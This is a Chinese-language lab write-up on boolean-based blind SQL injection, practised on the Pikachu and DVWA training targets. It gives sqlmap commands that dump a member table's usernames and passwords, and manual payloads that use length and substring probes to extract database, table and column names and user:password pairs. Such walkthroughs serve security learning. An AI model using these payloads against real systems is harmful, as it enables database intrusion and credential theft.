文章目录
布尔型(boolean)盲注
页面不会返回数据库的内容,所以不能使用联合查询将敏感信息显示在页面上,但是可以通过构造SQL语句来获取数据。
输入 SQL 注入检测语句 判断页面是否不一样,如果不一样大概会存在 SQL 注 入漏洞 1’and ‘1’='1 一样 1’and ‘1’='2 不一样,如果输入检测语句页面没有任何改 变可以使用延时语句进行检测 1’and sleep(10)–+ 函数 sleep() 在 mysql 是延时 返回的意思 以秒为单位 sleep(10) 即延时 10 秒执行
用SQLMap爆破
查询是否存在sqlmap已知的漏洞
sqlmap -u"url" -batch
获取所有的数据库
sqlmap -u"url" --dbs -batch
获取数据库的表名
sqlmap -u"url" -D pikachu --tables -batch
获取对应数据库表中的字段名
sqlmap -u"url" -D pikachu -T member --columns -batch
获取字段的内容
sqlmap -u"url" -D pikachu -T member -C id,username,pw --dump -batch
手工爆破
布尔型盲注入查询长度
要查询当前库名,首先确定要查询数据库的长度,再通过截取字符进行对比
返回正常界面
vince' and length(database())>=7#
返回错误界面
vince' and length(database())>=7#
综上可知数据库长度为7
布尔型盲注入获取数据库名
数据库常用字符如下:
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz. @_
将这些字符和数据库中的每一个字符进行比较得到最终的数据库名
获取数据库第一个字符,输入vince' and if(substring(database(),1,1)='p',1,0)
(后续需要一个个爆破较为麻烦,所以建议用burpsuite来进行爆破)
用bp来判断数据库长度
添加变量
语句:vince' and length(database())>=2#
开始攻击
获取数据库名
添加变量
kobe' and (select substr(database(),1,1))='k'#
爆破数据库
获取表的长度
输入kobe' and length((select group_concat(table_name) from information_schema.tables where table_schema = 'pikachu' )) = 1 #
(个人能力有限,手工注入未能实现,但在dvwa靶场能够成功完成,待后续补充)
DVWA靶场实验:
查询数据库长度
1' and if(length(database())=4,1,0)#
获取数据库名
数据库常用字符如下:
0123456789ABCDEFGHIJKLMNOPQRSTU
VWXYZabcdefghijklmnopqrstuvwxyz. @_
将这些字符和数据库中的每一个字符进行比较得到最终的数据库名
获取到第一个字段数为d
1' and if(substring(database(),1,1)='d',1,0)#
* SUBSTRING ( expression, start, length )
但这种方式只是减轻了查询一个字段数的时间,因此我们可以对多个字段同时进行查询
获取到完整的数据库名
获取表名
1'and if(substring((select TABLE_NAME from information_schema.TABLES where
TABLE_SCHEMA=database() limit 1),1,1)='g',1,0)
同样一个个查询表名过于麻烦,我们也可以批量处理
获取users的字段名
1'and if(substring((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' and TABLE_SCHEMA=database() limit 0,1),1,1)='u',1,0)#
//limit有两个参数,第一个参数表示从第几行数据开始查,第二个参数表示查几条数据,“limit 3,2”表示从第四行数据开始,取两条数据
获取账号和密码
查询账号和密码的长度
1'and if((SELECT LENGTH(CONCAT(user,0x3a,PASSWORD)) from users limit 1)=38,1,0)
获取到账号和密码
1'and if(substring((select CONCAT(user,0x3a,PASSWORD) from users limit 1),1,1)='a',1,0)#